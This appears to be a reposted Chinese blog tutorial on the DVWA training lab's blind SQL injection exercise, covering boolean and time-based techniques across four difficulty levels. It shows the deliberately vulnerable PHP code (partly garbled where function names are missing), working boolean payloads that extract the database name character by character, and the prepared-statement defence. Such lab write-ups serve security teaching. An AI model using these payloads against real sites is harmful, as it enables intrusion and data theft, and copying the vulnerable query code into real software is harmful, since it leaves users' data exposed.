DVWA靶场实战——SQL Injection(Blind)

Posted wybsignal

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了DVWA靶场实战——SQL Injection(Blind)相关的知识,希望对你有一定的参考价值。

DVWA靶场实战(八)

八、SQL Injection(Blind):

1.漏洞原理:

  SQL Injection(Blind)全称为SQL注入之盲注,其实与正常的SQL大同小异,区别在于一般的注入攻击者可以直接从页面上获取执行结果,而盲注时攻击者通常是无法从显示页面上获取执行的结果,甚至可能连注入的语句是否执行都无从得知,所以盲注的难度会比一般注入高一些。目前网络上现存的SQL注入漏洞大多是SQL盲注。

2.漏洞分类:

(1)布尔盲注:顾名思义就是基于布尔运算特性的盲注,布尔盲注语句需要在涉及判断的功能才能使用,其中最常见的就是在查询条件的位置,分别拼接上一段结果为真和结果为假的判断语句,如果结果为真时显示效果与原来一致,结果为假时查询不到数据或与原来数据不一直,则认为存在布尔盲注。

(2)时间盲注:同样也就是基于时间运算特性的盲注,时间盲注主要是对没有涉及判断的功能,如插入、更新等语句的数据为止(而非条件语句的位置),或者布尔盲注没有结果的类型(如显示均为正常或均为异常),可以尝试使用延迟注入进行测试,如果插入时间型盲注语句后服务器延迟响应,则可以认为存在SQL注入漏洞。

3.漏洞危害:

(1)绕过登录验证:在登录页面使用万能密码登录网站后台页面。

(2)获取敏感数据:通过SQL注入获取网站管理员账号密码、用户信息等。

(3)文件系统操作:利用SQL注入实现列目录,读取或者写入文件等。

(4)注册表执行操作:利用SQL注入读取、写入、删除注册表等。

(5)执行系统命令:通过SQL注入可以远程执行命令。

4.实操:

(1)Low:

  代码分析:

<?php

if( isset( $_GET[ \'Submit\' ] ) ) 
    // Get input
    $id = $_GET[ \'id\' ];
    $exists = false;

    switch ($_DVWA[\'SQLI_DB\']) 
        case :
            // Check database
            $query  = "SELECT first_name, last_name FROM users WHERE user_id = \'$id\';";
            $result = ($GLOBALS["___mysqli_ston"],  $query ); // Removed \'or die\' to suppress mysql errors

            $exists = false;
            if ($result !== false) 
                try 
                    $exists = (( $result ) > 0);
                 catch(Exception $e) 
                    $exists = false;
                
            
            ((($___mysqli_res = ($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
            break;
        case SQLITE:
            global $sqlite_db_connection;

            $query  = "SELECT first_name, last_name FROM users WHERE user_id = \'$id\';";
            try 
                $results = $sqlite_db_connection->query($query);
                $row = $results->fetchArray();
                $exists = $row !== false;
             catch(Exception $e) 
                $exists = false;
            

            break;
    

    if ($exists) 
        // Feedback for end user
        $html .= \'<pre>User ID exists in the database.</pre>\';
     else 
        // User wasn\'t found, so the page wasn\'t!
        ( $_SERVER[ \'SERVER_PROTOCOL\' ] . \' 404 Not Found\' );

        // Feedback for end user
        $html .= \'<pre>User ID is MISSING from the database.</pre>\';
    



?>

 

  我们这里可以看到基本上没有任何过滤、检查,明显存在SQL注入漏洞,同时SQL语句查询返回结果只有两种,“exists”或者“missing”两种状态,所以这里是盲注。

  这里我们开始攻击,首先要判断出是数字型还是字符型。我们这里输入“1”和“1’”。在尝试后,我们可以看到这里明显是数字型,因为输入“1”它显示的是用户ID在库里面。

  然后我们接下来尝试“1’and1=1#”和“2’and1=2#”,发现“1’and1=1#”显示存在,“1’and1=2#”显示不存在,由此判断这里是有注入点的。 

  我们开始尝试注入,首先猜数据库的长度,利用“1\' and length(database())=10 #”这种类似的语句进行长度的范围猜解。结果如下:

输入语句 结果

1\'and length(database())>10#

MISSING

1\'and length(database())<10#

exists

1\'and length(database())<5#

exists

1\'and length(database())<4#

MISSING

1\'and length(database())=4#

exists

 

  这里的意思就是数据库名称的长度为4,所以我们接下来就可以开始猜测数据库的名称。

 

  接下来我们用ascii码来判断信息,大略的情况如下:

 

字符 ASCII(十进制)
a 97
A 65
0 48
_ 95
z 122
Z 90
9 57
@ 64

 

  然后分别输入如下语句;

输入语句 反馈结果 说明

1\'and ascii(substr(database(),1,1))>97#

Exits

库名第一个字母ASCII码比a

1\'and ascii(substr(database(),1,1))<122#

Exits

库名第一个字母ASCII码比z

1\'and ascii(substr(database(),1,1))<104#

Exits

库名第一个字母ASCII码比h

1\'and ascii(substr(database(),1,1))<101#

Exits

库名第一个字母ASCII码比f

1\'and ascii(substr(database(),1,1))>100#

MISSING

库名第一个字母ASCII码不比d

1\'and ascii(substr(database(),1,1))=100#

Exits

库名第一个字母是d

 

  以此类推推算出为库名为“dvwa”,同样的方法我们就可以依次推到得出答案。(答案同上一个SQL注入)

 

(2)Medium:

 

  代码分析:

<?php

if( isset( $_POST[ \'Submit\' ]  ) ) 
    // Get input
    $id = $_POST[ \'id\' ];
    $exists = false;

    switch ($_DVWA[\'SQLI_DB\']) 
        case :
            $id = ((isset($GLOBALS["___mysqli_ston"]) && ($GLOBALS["___mysqli_ston"])) ? ($GLOBALS["___mysqli_ston"],  $id ) : ((("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

            // Check database
            $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
            $result = ($GLOBALS["___mysqli_ston"],  $query ); // Removed \'or die\' to suppress mysql errors

            $exists = false;
            if ($result !== false) 
                try 
                    $exists = (( $result ) > 0); // The \'@\' character suppresses errors
                 catch(Exception $e) 
                    $exists = false;
                
            
            
            break;
        case SQLITE:
            global $sqlite_db_connection;
            
            $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
            try 
                $results = $sqlite_db_connection->query($query);
                $row = $results->fetchArray();
                $exists = $row !== false;
             catch(Exception $e) 
                $exists = false;
            
            break;
    

    if ($exists) 
        // Feedback for end user
        $html .= \'<pre>User ID exists in the database.</pre>\';
     else 
        // Feedback for end user
        $html .= \'<pre>User ID is MISSING from the database.</pre>\';
    


?>

 

 

  流程和上一个SQL差不多,不过多赘述了,基本上就是Low的步骤然后在BP中截包修改,然后放到repeater中发送。

 

(3)High:

 

  代码分析:

<?php

if( isset( $_COOKIE[ \'id\' ] ) ) 
    // Get input
    $id = $_COOKIE[ \'id\' ];
    $exists = false;

    switch ($_DVWA[\'SQLI_DB\']) 
        case :
            // Check database
            $query  = "SELECT first_name, last_name FROM users WHERE user_id = \'$id\' LIMIT 1;";
            $result = ($GLOBALS["___mysqli_ston"],  $query ); // Removed \'or die\' to suppress mysql errors

            $exists = false;
            if ($result !== false) 
                // Get results
                try 
                    $exists = (( $result ) > 0); // The \'@\' character suppresses errors
                 catch(Exception $e) 
                    $exists = false;
                
            

            ((($___mysqli_res = ($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
            break;
        case SQLITE:
            global $sqlite_db_connection;

            $query  = "SELECT first_name, last_name FROM users WHERE user_id = \'$id\' LIMIT 1;";
            try 
                $results = $sqlite_db_connection->query($query);
                $row = $results->fetchArray();
                $exists = $row !== false;
             catch(Exception $e) 
                $exists = false;
            

            break;
    

    if ($exists) 
        // Feedback for end user
        $html .= \'<pre>User ID exists in the database.</pre>\';
    
    else 
        // Might sleep a random amount
        if( ( 0, 5 ) == 3 ) 
            ( ( 2, 4 ) );
        

        // User wasn\'t found, so the page wasn\'t!
        ( $_SERVER[ \'SERVER_PROTOCOL\' ] . \' 404 Not Found\' );

        // Feedback for end user
        $html .= \'<pre>User ID is MISSING from the database.</pre>\';
    


?>

 

  可以看到,High级别的代码利用cookie传递参数id,当SQL查询结果为空时,会执行函数sleep(seconds),目的是为了扰乱基于时间的盲注。同时在SQL查询语句中添加了LIMIT1,希望以此控制只输出一个结果。

  虽然添加了LIMIT1,但是我们可以通过#将其注释掉。但由于服务器端执行sleep函数,会使得基于时间盲注的准确性受到影响,这里用上面两种方法任意一种即可进行爆破。这里就不再一一说明步骤了。

(4)Impossible:

  代码分析:

<?php

if( isset( $_GET[ \'Submit\' ] ) ) 
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ \'user_token\' ], $_SESSION[ \'session_token\' ], \'index.php\' );
    $exists = false;

    // Get input
    $id = $_GET[ \'id\' ];

    // Was a number entered?
    if(( $id )) 
        $id =  ($id);
        switch ($_DVWA[\'SQLI_DB\']) 
            case :
                // Check the database
                $data = $db->prepare( \'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;\' );
                $data->bindParam( \':id\', $id, PDO::PARAM_INT );
                $data->execute();

                $exists = $data->rowCount();
                break;
            case SQLITE:
                global $sqlite_db_connection;

                $stmt = $sqlite_db_connection->prepare(\'SELECT COUNT(first_name) AS numrows FROM users WHERE user_id = :id LIMIT 1;\' );
                $stmt->bindValue(\':id\',$id,SQLITE3_INTEGER);
                $result = $stmt->execute();
                $result->finalize();
                if ($result !== false) 
                    // There is no way to get the number of rows returned
                    // This checks the number of columns (not rows) just
                    // as a precaution, but it won\'t stop someone dumping
                    // multiple rows and viewing them one at a time.

                    $num_columns = $result->numColumns();
                    if ($num_columns == 1) 
                        $row = $result->fetchArray();

                        $numrows = $row[ \'numrows\' ];
                        $exists = ($numrows == 1);
                    
                
                break;
        

    

    // Get results
    if ($exists) 
        // Feedback for end user
        $html .= \'<pre>User ID exists in the database.</pre>\';
     else 
        // User wasn\'t found, so the page wasn\'t!
        ( $_SERVER[ \'SERVER_PROTOCOL\' ] . \' 404 Not Found\' );

        // Feedback for end user
        $html .= \'<pre>User ID is MISSING from the database.</pre>\';
    


// Generate Anti-CSRF token
generateSessionToken();

?>

 

  作为防御模板,有以下几个需要注意的。impossible.php代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入只有当返回的查询结果数量为一个记录时,才会成功输出,这样就有效预防了暴库利用is_numeric($id)函数来判断输入的id是否是数字or数字字符串,满足条件才知晓query查询语句Anti-CSRF token机制的加入了进一步提高了安全性,session_token是随机生成的动态值,每次向服务器请求,客户端都会携带最新从服务端已下发的session_token值向服务器请求作匹配验证,相互匹配才会验证通过。

 

 

 

 

 

 

 

以上是关于DVWA靶场实战——SQL Injection(Blind)的主要内容,如果未能解决你的问题,请参考以下文章

DVWA学习笔记--06--SQL Injection

DVWA [SQL Injection]

DVWA SQL Injection(Blind)

DVWA——SQL Injection(low)

DVWA之SQL Injection--测试分析(Impossible)

DVWA——SQL Injection(SQL注入)